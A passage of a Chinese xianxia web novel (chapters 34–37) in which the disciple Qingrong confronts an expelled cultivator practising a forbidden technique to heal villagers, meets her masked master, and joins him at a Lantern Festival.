江溪闻眉心微蹙:“还有同伙?调虎离山?”
他猛的站起来,神情比刚刚严肃不少:“看来取发的目的,比你描述的恶作剧要重要许多啊。”
不然怎么会不惜代价,明知他们身份不简单还要一头撞上来,只为了给别人空出更多时间呢。
只是没料到,这小村落还会有这么复杂的事,倒是他布置疏忽,考虑不周了。
江溪闻刚准备吩咐其他人去寻同伙,突然有名弟子走到他身侧,递过来一个小木匣。
“小师妹回的消息,用了门派的传讯,刚到。”
江溪闻不想耽误时间,便一边讲后续计划一边快速解开木匣,然而就在他看到纸条上的字时,话音戛然而止。
纸条上寥寥笔墨,只书了三个字。
【在追了】。
34. 对招
茹儿在阿远被缚灵阵困住时,潜入他人房间极快地取了发,放入腰间布袋中。她没有回屋,而是抱着被褥,直接往崖底的后山上跑。
那人告诉她,取到二十人的发后,可直接去山顶寻他,他有办法救她的孩子。
阿远说,按照书籍描述,这大概率是邪功。
可她顾不上,她只想救人,更何况只取发根本不会害他人性命,尝试一下又有何不可。
这里远离灯火,夜晚看不清路,虽然山不算深,但茹儿还是不敢行的太快,怕踩到树枝摔倒,可哪怕再小心谨慎,她还是不可避免被拌了一下。
茹儿发出一声惊呼,第一反应便是保护被褥里的孩子,把自己的身体垫在底部当做缓冲,而就在这时,有人扶了她一下。
很及时,很贴心。
只是在这样的地方,这样的情况下,陡然发现身边有人这件事远比摔一跤要恐怖的多。
茹儿大惊失色,将手抽回:“谁?”
没人出声回应,可就着月光,她能隐约瞥见身前的虚影。
并不高大,只看肩宽,瞧着并不像成年男子。
“你……你不要装神弄鬼……”
这里实在太黑,未知感被无限扩大,转而成了恐惧,她想强装镇静,可一开口便是颤抖。
蛐蛐声此起彼伏,树丛沙沙交错,静默片刻,那身影似乎笑了一下。
“怎么夜晚上山,连烛火都不带?”
这是年轻女子的声音,哪怕她故意压的低沉,也盖不住独属于少女的空灵清澈。
茹儿惊魂未定,想后退又怕一脚踩空,只能僵在原地:“你要做什么?”
“你要做什么。”
少女反问。
“我……我要上山,山上……有人等我。”
“谁啊?”少女又是一笑,“你的丈夫不是在村中破阵吗,如今大概已经落网被捕,你怎么不管人家,想着翻山越岭去见人呢?”
茹儿本就煞白的脸色更是发青,只是黑夜中看不太明,少女像是全然没注意到她的缄默,不知从哪拿出一支蜡烛,点亮后递过来。
“要吗?”
烛火晦暗,但总比什么都没有要好,只是茹儿生怕有诈,不敢去拿,她小心抬眼,想先去打量眼前人的神情。
可她很快便收回视线。
身前的人戴着面具,她什么都看不到。
“不用紧张,我不会对你做什么。”少女见她不接,也没勉强,“你就当我不存在,只管上山就好,我可以帮你探路。”
茹儿自然不愿意,可也实在没有别的办法,她没有任何反抗的能力,只能硬着头皮点头:“那就……有劳。”
有了引路,行程便快了许多,这山本就不算高,两人很快行至山顶,果然,早已有人等候在此。
只是这人像是沉睡了许久,衣服上尽是灰尘砂石,以及枯木的落叶,一动不动,像是盖了快黑色破布,一副了无生息的模样。
少女话音里带了丝嫌弃:“这就是你要找的人?”
茹儿不语,慢吞吞挪了过去:“先生,你要的东西我带来了。”
睡死的身形动了动,紧接着发出宛如朽木碎裂的声音,极其沙哑,带着一丝不耐:“怎么……还有其他人在?”
茹儿红着眼:“山脚下遇到的,她非要跟上来,我甩不掉。”
周遭气氛登时剑拔弩张。
少女倒不急,她不慌不忙将人上下打量完,才慢悠悠评价了一句:“真不理解你们这些喜欢待在山顶的绝世高手,好多天没洗澡了吧?不难受吗?”
瞧着比乞丐还邋遢,她都想喊一声破布哥。
她是真心不解,只是这话由旁人听来实在挑衅,破布哥也不躺着了,他手脚生锈似的站起来,每动一下都让人担忧他的骨架会散掉。
“这世上爱找死的人可不多。”他冷笑,杂乱的头发遮住大半张脸,“既然来了,就把你这不值钱的命留下!”
少女神色未变,好像威胁的话和她没有半分关系:“那不行,我的命很值钱,可不能留在这。”
而后,她拿出了她的防身武器。
一根已经掉皮了的树枝,两秒前刚扯下来的。
破布哥虽瞧着病殃殃,但身手的确不错,黑夜晦暗,靴履踩踏沙石的声音格外刺耳,他步伐莫测,几乎只一瞬间便瞬移到少女身前,出掌便是足矣致死的力道。
然而下一刻,他便急匆匆收回了手。
那树枝不知何时,悄然抵住了他的命门,他本能回退去挡,少女却手腕一转,本一碰就碎的枝条此时竟坚韧如鞭,向他的侧腰狠狠一劈。
这一击带着汹涌的内力,破布哥登时岔气,情急之下他只想着将人震开,然而对方的修为显然更高,他拼尽全力,也只够拂动旁人的衣摆。
衣角翻涌,一束挂坠显露出来,少女甚至还捧着那烛火,透过微弱的灯光,可以瞧出这是一块极好的玉,温润,清透,如同经年累月风雪沉积的寒石。
“这坠玉……”
破布哥猛的抬头,嘶哑的声音中满是不可置信,甚至是惧怕:“你是临霜护教?你怎么会出现在这里?”
少女哑然,默默收回树枝:“我看起来很像男人吗?”
“那你怎会有……”他盯着眼前的身影,视线在玉坠之间来回流转,忽的想起什么似的,轻嗤一声,“我知道了,你就是四年前那个名满修真界的新一代天才,然后被赶出门派的,临霜护教亲传弟子,青容。”
“嗯,没说错,可是,你笑什么?我是什么你很瞧不上的人吗?”
青容微微挑眉,对这番话颇有一些意见,破布哥虽忌惮,嘴上倒分毫不饶:“一个被赶出仙门的人,装什么行侠仗义?甚至还用本门功夫,怎么,临霜教允许你这么做?”
“啧,我是被罚下山四年,又不是真剥夺弟子身份,你怨气这么大,之前被驱逐过?”
哪怕散发遮住了大半张脸,她也能察觉出破布哥的面色极其难看。
这是说中了?
刚刚交手时间太短,况且全是内力对抗,青容完全没看出这人是哪门哪派的招式,她倒是生了再打一会的想法,只
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不过对方很明显不想跟她耗,忽的将药粉洒出,青容本能抬手一避,再抬眸,那人已不见身影。
“哎!”痴傻看着这一切的茹儿终于出声,一边咳嗽一边绝望的喊,“你还没救我的孩子!”
喊完便晕了。
青容:“……”
她快步伸手将人扶了一把,以至于不直接摔在地上,朝天发出烟花信号后,她接着去追寻逃跑之人的踪迹。
之前是担心打草惊蛇,如今也该把人交给她的师兄师姐们了。
可惜烛火仅够一点微光,这般摸黑寻人实在困难,她只得将注意力更多放在听觉感官上,企图捕捉些风吹草动。
破布哥的确心态好沉得住气,她寻了一路也没搜寻到什么踪迹,大概不会再有其他收获,另一边已有人御剑而来,青容叹了口气,正准备打道回府。
可就在这时,身侧突然传出一道极轻的脚步声。
青容动作一顿,几乎立刻扑了过去。
树丛中果真有人,只是在交手的瞬间,她便察觉出这并非破布哥,周遭冷风被撕裂,刮的耳膜生疼,对抗她的内力修为显然比刚刚要高出几个档次,绝不是寻常人可以触及的境界。
居然还有其他人在这里,还是个顶级高手。
黑暗掩盖大部分观感,也不知附近有没有藏着更多的人,更判断不了是不是同伙,青容心中有些没底,便想拖一会,等其他弟子赶来。
然而上招刚过,两人分开些距离,交手之人忽的手掌一收,足底发力,竟是要逃跑的意思。
青容自然不想将线索弄丢,当下心一横跟了过去,她知晓对方并非善茬,于是玩了个偷袭。
她悄然一跃,掌心生风,对准前方背影的心口处,这一击不会致命,但也足以岔气三天。
只是对方反应更快。
指尖触碰发丝的一瞬,那人陡然转身,扣住她的手臂借力往上方一甩,力气动作都是极大,脚下还有个隐蔽的绊人动作。
青容顺着惯性近乎倒悬在空中,就在这一刹那,她隐约看到了对方的脸。
和她一样,戴着面具,估计也是个不愿意暴露身份的神秘人。
只不过……
莫名其妙的,她感觉有点熟悉。
她刚落地转过身,那人已彻底没了踪影,连任何风吹草动都没有,仿若凭空消失一般。
这是历练的四年间,青容第一次同人对招吃瘪,虽说有一定轻敌的缘由,但这种被人逗弄的感觉实在挫败,青容咬咬牙,摘下面具,在原地站了一会,有些出神。
早知道带剑了,她想。
鬼知道这地方能冒出此等人物,估计江溪闻来了都不一定打得过。
她在继续追人和先回去汇合之间纠结了片刻,还是选择了后者,今日已经吃过暗亏,对方实在深不可测,若再遇上,就不一定是跟丢这么简单了。
她轻声叹气,瞥了眼自己的腰间坠玉,哪怕黑幕笼罩,这玉依旧能映衬出微弱的月光,皎洁无暇,煜煜生辉。
下次一定能打赢。
她想。
35. 谋个小逆
江溪闻接到信号赶过去后,便将人带回村落准备审问,他特意留了两名弟子原地等候,待青容归来再一并同行为其引路。
青容推门前,屋内似乎正争论着什么。
“我们只是想救人!这难道罪以致死吗!”屋内女声情绪激动,“太子病重,御医无能,他们便搜寻民间名医,召走正在给孩子医治的林大夫,以至于我的孩子至今昏睡不醒,难道我要理所应当承担这一切吗!”
江溪闻还算有耐心,他不冷不热的解释:“你想救人,没有错,但不该寻这种法子,令郎……已然了无气息,这世上没有人可以起死回生,他是诓你的。”
“不试试如何知晓?况且,凭什么?他们光明正大的杀人,就是理所应当,我想救人,我就成了众矢之的,人人得而诛之。”
“没有。”江溪闻声音放轻了些,“我知晓,你们也是被坑骗的平民,仙门不会过多插手,只是,你们还是要给其他村民道歉的。”
青容收回想要推门的手,在屋外默默听着。
她这位首席师兄,在处理事务上,是可以用“无情”来形容的。
最初几桩历练后,她便发现,旁人听着足矣潸然泪下的悲惨经历,江溪闻可以面不改色,哪怕他会出言安慰,但话音说到底是冷的。
在公事方面,江溪闻有种近乎变态的理性。
虽说他这么做,本身没有任何问题。
“我们当然可以道歉,那他们可以把命还回来吗?”
山外已有黎明乍现,天快亮了,青容望着山头略微怔忡,她忽的没了推门而入的兴致,干脆简单的把所遇之事汇报给了同行弟子,让其代为转告。
而后,她自行御剑上了悬崖,去往皇城脚下。
这个点大部分人还睡意朦胧,但卖早茶的店已经开门,青容随便找了个包子铺,要了两屉小笼包,因为天冷,端上来时热雾弥漫,很勾人胃口。
只是她刚拿起竹筷,就有人跟着坐在了她的对面,一言不发,仿佛只是路过歇脚。
她抬眸瞥了一眼,又收回目光,自顾自吃起来。
追人折腾一晚上,确实有些饿。
这里毕竟是皇城,哪怕刚至启明,也已有不少人外出,三三两两来买早食。这本是日日发生的寻常之事,只是许多人的视线时不时往青容对面之人身上流转,成了日复一日的奔忙中一点无伤大雅的插曲。
那是个极为俊郎的少年,眉清目秀,他半披着发,捋起的马尾由黑金发冠高高竖起,本该是意气风发的装扮,但不知是不是身覆黑色裘衣的缘故,又或是光线还带着些许昏暗,少年面上似乎蒙着层云雾,显得有些阴郁。
那裘氅精致细腻,一看便价值不菲,很明显是大户人家的贵公子。
相比之下,青容那沾了层灰还缝了几道口子的衣服便有些寒碜,她却全然看不见落差似的,只顾着闷头吃饭。
少年倒了杯茶,推了过去。
青容总算抬头,嘴角还沾着油渍,她一副见了鬼的神情,但声音压的很低:“呦,六殿下今日起这么早?”
少年闻言轻笑,阴郁之色已然消散,竟显出几分活泼来:“听闻临霜教外门弟子近日出现在皇城附近,说是要调查一些诡异的民间事件,就想来看个热闹,父皇也允了。”
坐在对面的正是当朝六皇子贺景麟。
自十年前,青容“开后门”让慕砚恒说道了几句,昌帝对贺景麟的态度有所改善,虽算不上多关心,但起码不会再对欺凌视而不见,贺景麟总算过上安生日子,不至于缺胳膊断腿的长大。
之前的每年宴会,慕砚恒都会带她去凑热闹,两人也会见上几面,后来她离开门派,偶尔路过皇城时,也会把人捞出来喝杯茶吃桌饭,就像现在这样。
区别在这回是贺景麟自己找出来的。
陡然相遇,暂时也没什么话题可聊,青容随口道:“你这裘衣不错,看着便暖和。”
贺景麟眸光一亮,好似非常被高兴提及此物:“的确不错,这是一个月前围猎的彩头,许多人想争,你喜欢便送你了。”
说着便要将裘衣脱下来。
青容连忙摆手,她哭笑不得:“我不用,这是你自己夺的彩头,意义重要,你自己留好便是。”
贺景麟只好作罢。
“嗯……”他双手托腮,一副失落样。
青容想了想,又道:“不过你竟夺了彩头,很厉害啊六殿下,若早些知晓,我应该也送你些贺礼的,可惜最近事务繁忙,要不你在这附近看看有没有什么喜欢的玩意?我买来送你。”
“不好。”他盯着青容,面色严肃,“真要祝贺的话,姐姐能不能今日陪我在城外玩一天?”
“今日?”青容一顿,“今日怕不行,我约了工,门派也有事务要处理。”
贺景麟略蹙眉:“怎么又要上工,你……近日缺钱吗?我给你十两银子,你今天别去了好不好?”
“哎呀,这个不是说不去就不去的,不好意思啦殿下。”青容劝慰,“这样,等后面我回门派了,你随便挑一天,挑个地点,我陪你逛一天,如何?”
沉默了良久,贺景麟才很不甘心的点点头,把玩起茶杯,装成大度的样子,只有时不时偷瞄的目光才暴露出他的不情愿。
简直像害怕被家里人丢下的小孩。
他的行为,和他如今这一身俊秀的外表属实大相庭径,倒是和他十年前的自己完全相符。
青容忍不住一笑,只是她突然想起那妇人说的话,笑意收敛了些:“景麟,我想问你件事情。”
青容很少唤贺景麟的名字,旁人是嬉笑喊小名,正事唤称呼,她倒是反着的,贺景麟登时坐正:“你说。”
“贺长宇……病了?”
贺长宇正是当朝太子,也是十年前带头欺压贺景麟的人,听到这个名字,贺景麟眸色微冷,但还是耐心解释:“是,不知为何得了癔症,这一年以来他的意识反反复复,时而清醒时而混沌,前些时日竟在朝上晕厥,不过昨夜倒是醒了片刻,你……问他做什么?”
“无事,只是有所听闻。”
她对贺长宇一直印象不好,肥头大耳白瞎了和贺景麟同源的五官,还嚣张跋扈,惯于口出狂言,尤其是她未来还要因联姻做这种人的皇后,她更觉得恶心。
只是现在听到贺景麟这样说,她心中莫
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名浮现了一个念头。
她的确要成为皇后,可就一定是贺长宇的皇后吗?
如果最终的皇帝不是他呢?如果……太子易位呢?
这个大逆不道的念头刚一显现,她便重新看向贺景麟,贺景麟显然还有些懵,但见她看来,还是露出笑意,因面上稚气尚存,便显得有些傻乎乎的。
那双眼睛纯澈漂亮,瞧着实在和权谋之事沾不上任何关系。
算了,青容想,撺掇这孩子去夺太子之位,简直像逼良为娼似的。
“我要上工了。”青容道。
贺景麟站起来:“我送你去吧?”
“不用,你回宫吧,抱歉啊,最近实在抽不开身,我晚上还得去逮人。”
贺景麟只得应声,委屈巴巴点点头,依依不舍目送青容离开,好像随着身影远去下一秒就会哭出来似的。
天已经完全亮了,行人逐渐增多,来来往往各自奔忙,满是烟火气息,日复一日,自成一体。
只是在那个身影彻底隐没在拐角后,贺景麟面上的怜意陡然消失,他舔了舔后槽牙,唇角略微勾起,似笑非笑。
少年手中攥着不知何时拿出的白色小药瓶,捏在拇指食指之间,玩弄似的转了转。
“我以为你会帮我呢,结果只是问问,幸好……我自己也可以。”
他喃喃,目光深邃而阴暗。
…
上工并非临时起意的想法,实际上在这四年间,青容已经做过不少营生,只不过因四处游历,所以不大固定,但基本每到一处地方,她头一件事还是寻个活计。
原因无他,赚钱。
那历练的优待她起初感到备受关怀,但越往后她越觉得没那钱她也未必过不下去,因为有的活计并非仅限成人,她去打杂擦桌洗盘也是有人要的。
既然有路走,何必去开反向的门。
“小容来啦!”面馆的人和她打了个招呼。
青容笑着应声,那人又问:“今天你兄长没送你来呀?”
“没有,他在忙呢。”
这个面馆的活计她已经做了一段时间,之前江溪闻会送她来,不过现在他估计还在晓之以理,也不知派人出去捉破布哥没有。
至于另一个人,她没有汇报。
她下山那会一直在回忆那人的一招一式,他们交手并不久,且节奏很快,但她还是发现了一个问题。
这人对她的出招习惯,简直可以用了如指掌来形容。
当时事发突然,她来不及从乾坤囊取剑,因此他们是空手过招,而她本身是不擅长空手的,她所有仅会的拳掌只来自于一人的传授。
似曾相识的身影气息,还有那甚至不敢保证是出了全力,连江溪闻来了都不一定能占上风的汹涌内力。
有这般本事的,这世上能有几人?
若真是同伙,怎会在一开始袖手旁观,反倒等她追人时才暴露行踪。
交手点到即止,更像一场切磋。
况且内力轻功既已强悍至此,那行踪真是不小心暴露的吗?这对他有什么好处?
就像是……明确知晓她位置的情况下,随手逗她玩一样。
36. 重逢
下工时,青容心中已基本有了猜测,只是赶来的弟子打断了她的思绪。
那弟子对着她一阵比划,瞧着有些急切。
青容认得这个弟子,名唤颜墨,是位哑者,于四年前入门,前两年主动申请下山历练,跟随江溪闻惩奸除恶。颜墨虽为师弟,但年纪比她大些,平常对她多有照料,两人关系也一直不错。
比划的手势是喊她汇合的意思,青容虽不解有什么事还得把她捞回去解决,但也立刻应了。
两人御剑而行。
青容早上吃了屉小笼包,但因店铺忙碌便没吃午饭,加上头一夜并未入睡,此时又困又饿,时不时打个哈欠,脚下摇摇晃晃像是随时要掉下去。
颜墨见此,从怀中递出一块葱油饼,青容拿到手时发现居然还是热乎的,她笑着道谢:“师弟果然贴心,只不过我不太爱吃葱,那个,下次能不能买肉饼呀?”
她这一番得寸进尺的话说的理直气壮,颜墨一愣,倒是点点头表示知晓,一副温和做派。
只是过了片刻,青容眼睁睁看着村庄从脚下掠过,但颜墨并没有停步的意思。
“师弟,这是要去哪?”
颜墨又是一顿比划,但过于复杂,她实在看不懂:“要不你找个地方写下来?”
于是两人落在一处山腰。
这偏僻地方居然还有个不小的山洞,可惜树丛已枯萎,瞧着非常荒芜,然而青容很快注意到地上的沙土分布并不规则,并非风吹日晒自然形成的痕迹。
这里不久前有人路过,并且走的很频繁。
颜墨摘了根树枝,刚准备在地上划写,却被青容打断:“你随身带的笔墨呢?”
颜墨一愣,指了指自己的脑袋,摆摆手,示意不小心忘了。
“哦……”青容忽的一笑,不知何时已经将木剑握在手中。
她目光如炬,仿佛要将人从头到尾烧穿。
“其实吧……师弟他没有随身带笔墨的习惯,这位仁兄,你回答好快,是不是太紧张了?”
“颜墨”面色一沉。
她轻飘飘接了一句:“还有,我经常说,我很喜欢吃葱。”
默然片刻,大概是明白已经暴露,对面之人嗤笑一声,不再装哑:“对身边人警惕心太高,不是好事。”
“但起码现在是好事,季焱道友。”
四下彻底陷入沉寂。
破布哥……季焱许久未说话,只是默默解除易容,变回了自己本来的样子,他的模样比四年前要沧桑许多,竟已生了白发皱纹,嗓音也像生了锈。
“你怎么看出来的?”
“我没看出来啊,我诈你的。”
“……”
季焱的脸色极为难看。
“也不算诈吧,其实挺好猜的。”
青容干脆坐在地上,继续啃那啃了一半的饼,好像她不是被骗到这的,而是被请来喝茶的:“修炼邪功,几近鱼死网破,不到万不得已不会有人修这种东西,而这也绝不是可以随便寻到的路径,所以你势必与仙门或者魔宗有关,但你身上并没有这两种修为,像是被废除了。”
“我观你反应,就知道你一定是被逐出仙门的弟子,同时对临霜护教反应很大,近几年被赶出仙门的弟子就那么几个,其中跟临霜教有关系的更少,我思来想去,也就只剩你了,伪造身份正好挑个我不会说话的师弟,这样我问也不好问,只能跟你来此,好心计啊。”
“哪怕是故意如此,但你还是来了。”季焱居高临下看着她,他大概是想露个得意的笑,用力让嘴角上扬,但最终显出的更多还是苦涩,“我知道你修为高深,四年前就已是佼佼者,现在定然更胜,可惜这里已被我布下重重阵法,你走不掉的。”
“你那邪功的最后一步,就是献祭一人?”青容打量着季焱那已被黑纹蔓延的手背,忍不住问,“这种功法逆天而行,你练成后至多三月,便会筋脉寸断而亡,你这是要做什么?”
“毁了仙门。”
“你觉得我信吗?”青容一副看傻子的神情。
“随你信不信,反正现在,你要死了。”
山腰突然开始震颤,地上沙石翻涌,如同滚烫的沸水,那些沙石因颠簸而移位,不知不觉间便连成了数条交错的线,而青容正好处在多条线的交点。
她感受到了束缚之力,像是有无形的手拼命将她往下拽。
青容低头打量,得出结论:“缚灵阵啊?”
但也不完全是,她会布阵的皮毛,知晓缚灵阵不长这样。
青容静观其变,也没急着挣脱,既已知晓身份,季焱就不可能真的杀她,她若有事,会牵连整个扶摇宗。
季焱不一定在乎她的死活,但一定在乎他曾经的师门,否则也不会隐匿四年,竭尽所能隐藏身份。
就连骗村民时,都没说过自己是扶摇宗弟子。
果然,这阵阵仗浩大,颇有摧枯拉朽之势,可青容等了半天,也没等到实质性攻击。
反倒是季焱有些急了:“你不反抗?”
“我刚下工,比较累,不想动。”
“……”
季焱胸口起伏,明显气得不轻,可又拿不出什么办法,青容看他这模样还怪可怜,退了一步:“你到底要做什么,打开天窗说亮话吧,若有理,我说不定真考虑帮你一把。”
“救人。”他毫不犹豫道。
青容有些愕然:“你总不是真要救那已经逝去的小孩吧?”
“那不然呢?”季焱冷哼,“我还能做什么?邪功对我有什么好处?还有,麻烦借点修为,我本元已废,修炼不了。”
尽管这说法很扯,但青容犹豫片刻,还是将木剑扔了过去:“剑上有,你看着用吧。”
季焱的确从始至终没有伤人,她愿意信一次,反正真信错了,她也不是没有收尾的能力。
季焱接过剑,看也不看,直接扔进阵眼中,像是泥潭扔入石子,后续竟没了动静。青容站在一旁静静观察,季焱似乎也没什么反应,只是片刻后,阵法逐渐消失,好像一切都未曾发生过。
只有他额间泛光的红色花纹示意着功法已成。
季焱手中不知何时多了一叠符纸,他一张张翻过,指尖看不清画着什么:“稍后麻烦你带着这些,去寻附近重病
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之人,一人给一张,数日后他们自会痊愈,至于那个孩子,我明日去找她。”
这下青容听明白了。
他不是奔着起死回生去的,他的本意其实是想救那些由于当地大夫被接入皇宫,以至于重症无法得到医治的人。
这些,最普通的修仙弟子也能做到。
但他们不能这么做,生老病死,修真派无权干涉。
所以被逐出门派的人在做。
可他被废了修为本元,终身无法修炼,所以才走了邪功这条路。
季焱刚要转身离开,可又想起什么似的,添了一句:“暂时不用说是我给的,但不能一直不说,以后过个几年,你逛酒楼,就假装喝醉,把今天的事都说出来,最好出本书歌颂一下已经死成灰的我。”
“……”
之前寥寥几面,倒是未曾发现季焱是个这么活泼的人,如果没有那档子事,应该也在扶摇宗风风光光,恣意张扬。
“你这四年,是不是天天在心里骂我。”青容忽的道。
季焱一愣:“为何?”紧接着他便察觉到青容的意思,叹了口气,“本就是我鬼迷心窍,当时确实不冷静,害你失去了可以创造历史的机会,甚至影响后续修炼,你怨恨我是自然的,你师父爱护你,罚的重也理所应当,我早就接受了。”
很明显,话音里藏着一丝落寞不甘,但更多的还是对下毒后果严重的懊悔。
青容起初的确生气,哪怕历练期间回忆此事,她也从来不觉得要求逐出仙门是无理取闹,可若重来,她应该不会再说让他只能当散修。
四年历练,她心态平和许多,难得被养出的少年脾性也逐渐淡漠,什么记录不记录的都是浮云,还不如多赚点银钱重要。
以至于对于季焱,她虽算不上后悔,但还是感到惋惜,因而季焱拜托她的事,她没多思考也就应了。
可就在这时,季焱面色骤然一变,他脖颈间爬上黑色纹路,青筋暴起,像是有什么力量抑制不住,即将喷涌而出。
青容一眼便明白,这是反噬。
“你……可以走了……”季焱强压下躁意,将木剑丢回青容脚下。
青容略微一顿,而就是这犹豫的瞬间,阵法重新开始躁动,且瞬息恢复,风发泉涌,那变相的缚灵阵再次将她捆住。
同一时间,季焱身上的反噬之力发作,一道刀光迎面而来,所出之势和那日擂台相比毫不逊色。
青容:“……”
真撞霉了。
她难得用上全部内力,挣脱缚灵阵,身形略微晃开,刀光几乎擦着她侧肩而过,砸在地上劈出数丈的沟壑。
这一刀毫不留情,带着邪功催出的恐怖内力,放眼整个仙门也不一定有人敢正面去接。
余势逼的她连连后退,脚下尚未完全站稳,她便感觉到背部靠住了什么东西,止住她泄力的最后一步。
不像磕到石壁,因为有些软,还带着丝若有若无的温度。
哪怕狂风撕扯,漫天尘土飞扬,她还是闻到了一缕清香,如腊月纷飞的霜雪覆盖住流淌的甘泉。
是栖星阁的甘泉,她想。
37. 邀约
零星的碎石滚落下来,被人挥袖尽数挡住。
青容侧身看去,那面具未曾覆盖的下颚轮廓冷硬而流畅,而面具样式同她之前过招之人一模一样。
她心中已了然,倒没什么惊涛骇浪,但她手很欠地抬起来,不管不顾就要去摘那面具。
不出所料,手臂被扣住。
“师父这是做什么?”青容一笑,“四年不见,见面就打徒弟?”
慕砚恒见身份已暴露,也不再藏着,他意味不明冷哼一声:“长大了,上来就颠倒黑白欺师灭祖,那日到底是谁先出的手?”
“……”青容尴尬地将手收回,“记不清了,那天没睡,有点困。”
“你现在不也没睡。”
“……”
真烦啊,得找个机会把人毒哑。
慕砚恒嘴上不依不饶,正事也没闲着,他以内力将周围封锁隔绝,阵法也被强制破坏。季焱逐渐安静下来,跪坐在地上,神色恍惚。
“他明天就好了,走吧。”
慕砚恒往一旁挪动几步,抖了抖衣袖,青容这才发现,石壁已然离的很近,若不是慕砚恒挡了一下,她刚刚后退时有可能直接撞上去。
青容垂眸,“哦”了一声,准备回村落。
“走哪去?”慕砚恒又道。
“回师兄那啊,不然走哪去?”
周遭静默几秒,慕砚恒重新靠近两步,仗着身高优势居高临下审视犯人似的凝视她:“你觉得为师此番下山,寻到你的踪迹跟随数日,就是为了打个招呼?”
青容微怔,很真诚的问:“所以居然不是来看热闹的吗?”
“……”慕砚恒眼角抽了抽,“快仙门大比了,今年提前到春分,我接你回去。”
“这么好?”青容登时乐出声。
有的举办门派戌月孟冬会有自己的事务,这种情况下大比就会提前至春分,这般算来,她这历练应该能提前半年终止。
毕竟为门派争光完再赶出去,就有点不是东西了。
远处忽然有数人御剑而来,大概是刚刚此地波动太大,惊扰了本就相隔不远的江溪闻,青容顿住,刚刚的笑意也收回大半:“师父,等一下吧。”
她答应了季焱的事一定会去做,而季焱既然说明天要去寻那孩子,她总要给他创造个环境,总不能被江溪闻直接逮仙牢里,定个切切实实的罪名,回头捞都捞不出来。
慕砚恒这回没说什么,只安安静静站在一旁,像个路过的雕塑。
如青容所想,江溪闻的确感受到了这附近的波动,联想到早上出逃的邪修以及一直未归的青容,他自是担忧,便带着人急匆匆赶了过来。
只是很明显来的有些晚,只剩下已被清理好的残局。
江溪闻草草瞥了眼倒在地上的季焱,舒了口气,一落地便三步并两步奔到青容身前,仔仔细细上下打量一翻:“没事吧?”
“无妨,人已经抓住了,可以将他带回去,但先别审判,我明日同他有些事要处理。”
江溪闻皱眉:“什么事?”
“答应过的公事。”
“不可。”
很显然,江溪闻并不愿意青容和邪修待在一起,他毫不犹豫拒绝,刚准备解释练邪功的人有多么危险,却有一道突兀的声音打断了他。
“让她去处理吧,不会有事,本君会随同。”
江溪闻这才注意到,青容身侧居然还有一个人,此人匿于黄昏暗处,竟是没有丝毫气息外露,内力已可以用登峰造极来形容。
听到自称,江溪闻微微一愣,他脑子转的极快,立刻执剑行礼:“参见护教。”
慕砚恒点头示意,面具遮住他的面容,似乎反而让他平易近人了些:“正好不用再额外送信给你,今年大比提前至春季,将在半个月后举行,你这里大致处理完事务,准备提前回门派。”
“是。”
既有护教亲口作陪,江溪闻自然没再说什么,他吩咐弟子将晕倒的季焱带回,自己也一同回了村落,片刻后,山腰处只剩下两人。
近四年未见,青容也不是那种谈笑风生的人,一时间竟找不到什么话题,她按部就班问:“师父不一同回去吗?”
慕砚恒没接话,像是在深思什么。
青容也不急,她还在计划着明天的流程,以保万无一失,直至慕砚恒冷不丁开口。
“想去皇城逛逛吗?”
“……啊?”青容一愣。
慕砚恒语气不变:“今日上元,你不知道?”
……她真不知道,陡然提及此事她才有一点印象,半个月前的确是春节,好生热闹,可惜那会她专注上工拿成倍工钱,没参与那繁华。
就连和外门弟子的晚宴都没一起吃,江溪闻还抱怨了两句,说她满脑子赚钱,都不搭理师兄。
说实话,她不太想去。
因为困了,昨儿一夜没睡,熬到现在她已是身心疲惫,恨不得整个人黏在床上晕个地老天荒。
只是,慕砚恒主动邀约这件事,实在太过难得。
赚钱和睡觉固然重要,但她绝不会抛弃自己的任务和责任。
如今她已年过十七,有些东西,的确该提上日程了。
……
“这么多人。”
青容还是低估了皇城的人口,以及对这个节日的重视程度,之前远远看一眼就已觉得拥挤,此时亲身经历,更是有种随时要被踩掉鞋子的错觉。
她并不喜闹,对这种更多的是图个新奇的态度,称不上厌烦,但兴致也着实不大,而紧随在她身后的慕砚恒更是眉头紧锁,偶尔被人碰过一次衣角,就会忍不住抖抖袖口,一副恨不得就此虚化消失的模样。
然而人是他自己邀请的,他只能硬着头皮继续走,所幸面具遮住他的面容,他还能强装出悠然自得的模样。
慕砚恒很高,在熙熙攘攘的人潮中称得上鹤立鸡群,令人不自觉回望,只是他一身清贵冷冽之气,瞧着像很不好惹的世家公子,大部分人便自觉避开,免得惹火上身。
一路缄言,青容已经想过无数次话本中的剧情,什么突然绚烂的烟火,什么口误的摊贩,又或是被他人撞开后误打误撞的接触,她可以顺其而为,一点点去复刻。
反正受众人欢迎的剧情总有它的道理。
然而过了许久,也没什么额外的动静。
慕
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砚恒跟个侍卫似的,跟在她身后一丈远,也不打扰也不吭声,她闷头走,慕砚恒比她还闷,好像他俩不是来玩的,是来考察巡游的。
青容故意往捏泥人的摊贩那看了两眼,放缓脚步,就差把明示写在背后,然而慕砚恒依旧没有作为,只是跟着她的步履节奏,完成跟随看护的任务。
兢兢业业,比顶级侍卫还靠谱。
再这么下去,等她老死了任务都不一定能完成。
目光略过一对对执手相携的伴侣,青容终于忍不住,回过头上前两步,仰头盯着慕砚恒,目光中带着孺子难教的怨恨,也不说话,慕砚恒脚步顿住,很是不解,他摸了摸自己的腰间:“要钱买东西吗?”
青容摇摇头,二话不说直接抓住慕砚恒的手。
温热的,骨节分明,有不大明显的薄茧,像是温玉上剐蹭出的瑕疵,却并不让人觉得突兀。
慕砚恒明显怔住,略一蹙眉,本能将手抽走,神色带着困惑,口中虽没说什么,但抗拒意味还是过于明显。
青容眸中多了分落寞黯然,她的手滞在半空,片刻后怏怏垂落下来,目光也缓缓移开,像是遭受了什么打击似的,连附近的灯火似乎也暗了许多。
看来此路行不通,她想,这攻略简直是地狱难度。
她重新转回去,当做什么都没发生般继续闲逛,只是步履虚浮,一时有些迷惘。
她的确失落,因为暂时没想出后续该如何做,有种前路茫茫的错觉。
然而在慕砚恒看来,就不是这么层意思了。
他眼睁睁瞧着青容从兴致勃勃到索然无味,背影也略显沉重,他瞥了眼自己的手,不知何时已紧握成拳,又被他缓缓松开。
是他主动开口邀人来此的,如今他自己扫了兴致,好像的确不太恰当。
徒弟依赖师父,这没什么,况且她对他毫无防备乃至主动靠近,他不应该感到开心吗?
成大事者,总要付出些什么的,他想。
